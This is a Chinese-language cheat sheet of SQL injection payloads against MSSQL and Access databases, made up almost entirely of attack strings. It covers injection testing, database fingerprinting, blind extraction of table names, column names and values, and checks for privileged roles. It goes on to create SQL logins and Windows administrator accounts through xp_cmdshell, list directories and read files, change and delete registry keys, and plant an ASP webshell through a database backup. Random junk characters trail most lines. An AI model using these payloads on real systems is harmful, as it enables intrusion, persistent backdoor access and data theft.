1.判断是否有注入;and 1=1 ;and 1=2 /a-OBU
2.初步判断是否是mssql ;and user>0 V?Ca[
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3.注入参数是字符'and [查询条件] and ''=' OLJ|gunA#
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' vcp[$-$QGJ
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5.判断数据库系统 l !R >I7
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;and (select count(*) from sysobjects)>0 mssql D89(u.h
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;and (select count(*) from msysobjects)>0 access 0e~4(2xK
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Qvhy9Cr;
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 J+nUxF;EE
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 x)2ZbIDB:"
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9.(1)猜字段的ascii值(access) sTzt
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 k
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(2)猜字段的ascii值(mssql) yex0rnQ|
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 FJ
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10.测试权限结构(mssql) .5YW>P V
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ~i9'9PHX@
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- OR-fC
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- E<4'4)FHuQ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,g bQqoLV
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- H.s:a#l?
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- v^Pjvv =
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;and 1=(select IS_MEMBER('db_owner'));-- r|0wIpi6Q
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11.添加mssql和系统的帐户 eQ eucmQd{
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;exec master.dbo.sp_addlogin username;-- J4^aD;j
;exec master.dbo.sp_password null,username,password;-- \~@a/J
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- HF]|>1WV[
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;exec master.dbo.xp_cmdshell 'net user username password LRmH@-qP
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^@n?&
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Y.v. EZ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- %Ig3udcY?
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12.(1)遍历目录 m?pm)w
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;create table dirs(paths varchar(100), id int) !p|d[
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;insert dirs exec master.dbo.xp_dirtree 'c:\' YgW 50)q^
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;and (select top 1 paths from dirs)>0 gOKF%Ej31T
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _ -C{:rV
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(2)遍历目录 I<^&~==
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- O7D61~G]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ntt:>j$
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 sAfNu~d
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 kB $?A8Olu
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 MY"8!
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13.mssql中的存储过程 /D&7 \3}
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xp_regenumvalues 注册表根键, 子键 l#k&&rI5x.
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X4Y!Z/b
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xp_regread 根键,子键,键值名 t}q\.
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;exec xp_regread s2ixiv=
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TIre,s)_
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xp_regwrite 根键,子键, 值名, 值类型, 值 k@/s-^ry3
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xY94v
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xp_regdeletevalue 根键,子键,值名 /yNLFL"
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0s'H(qE,_
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 mx;1'!'fr
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14.mssql的backup创建webshell pZaOd;t
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use model ~s4o1^6L
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create table cmd(str image); J2d3&6
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insert into cmd(str) values (''); W2W4w
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backup database model to disk='c:\l.asp'; N!iugGL
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15.mssql内置函数 *
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;and (select @@version)>0 获得Windows的版本号 '|^<|S_+K
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2~(\d\k
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;and (select user_name())>0 爆当前系统的连接用户 $++SF)G1]_
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;and (select db_name())>0 得到当前连接的数据库 HyKv5S$
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16.简洁的webshell 1K&l}/zUl
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use model u#r[JF9LP
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create table cmd(str image); ~![J~CkPS
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insert into cmd(str) values (''); 7;x}W-`iF
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backup database model to disk='g:\wwwtest\l.asp';